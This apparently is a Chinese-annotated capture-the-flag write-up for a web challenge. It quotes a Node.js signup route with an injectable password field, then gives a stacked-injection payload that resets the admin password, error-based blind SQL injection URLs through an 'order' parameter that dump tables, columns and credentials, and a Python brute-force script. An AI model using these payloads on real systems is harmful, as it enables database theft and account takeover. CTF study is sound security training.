router.post('/signup', function(req, res, next) { var username = req.body.username; var password = req.body.password;
if (username == '' || password == '') return res.json({"code" : -1 , "message" : "Please input username and password."});
// check if username exists db.get("SELECT * FROM users WHERE NAME = ?", [username], function(err, row) { if (err) { console.log(err); return res.json({"code" : -1, "message" : "Error executing SQL query"}); } if (row) { console.log(row) return res.json({"code" : -1 , "message" : "Username already exists"}); } else { // in case of sql injection , I'll reset admin's password to a new random string every time. var randomPassword = stringRandom(100); db.run(`UPDATE users SET PASSWORD = '${randomPassword}' WHERE NAME = 'admin'`, ()=>{});
// insert new user var sql = `INSERT INTO users (NAME, PASSWORD, ACTIVE) VALUES (?, '${password}', 0)`; db.run(sql, [username], function(err) { if (err) { console.log(err); return res.json({"code" : -1, "message" : "Error executing SQL query " + sql}); } return res.json({"code" : 0, "message" : "Sign up successful"}); }); } }); });
这里每次signup都会先重置管理员password然后执行sql语句。考虑利用堆叠注入修改管理员密码，然后直接登,但是设注册时的password参数为’, 0);UPDATE users SET PASSWORD = ‘123’ WHERE NAME = ‘admin’;# 但是这个函数不支持执行多条sql。
order=id and case when (database() like PAYLOAD) then 1 else 9223372036854775807%2B1 end例如这条payload,在对应位置便利可见字符的16进制来模糊匹配，如果when条件为true那么按id排序正常200返回，否则会执行9223372036854775807%+1报错而500。
headers = { "Cookie": "__t_id=7267900aaba9b607c88b9639ae26899a; JSESSIONID=C1032349BC4000AE184AD31889B5B0F3", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
}
#database() == datamanager url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when (database() like PAYLOAD) then 1 else 9223372036854775807%2B1 end"
#tables : source,users url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(table_name) from information_schema.tables where table_schema like 0x646174616d616e61676572) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"
#columns from users: current\\_connections,total\\_connections,user,id,n4me,pas$word url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(column_name) from information_schema.columns where table_name like 0x7573657273) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"
#n4me from users: ctf,... url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(n4me) from users) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"
#pas$word from users: ctf@BvteDaNceS3cRet,... url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(pas$word) from users) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"
defmain(): flag = "" while1: success = False for i in string.printable[:-6]: if i in"_%[]": i = "\\\\"+i payload = "0x" for item in flag: payload += "%02x" % ord(item) for item in i: payload += "%02x" % ord(item) payload += "25" #print(payload) r = requests.get(url.replace("PAYLOAD",payload),proxies=proxies,headers=headers,verify=False,timeout=3) #if "SORRY!" not in r.text: if r.status_code == 200: flag += i print(flag) success = True break if success: continue else: print("failed",flag) raise Exception("failed")
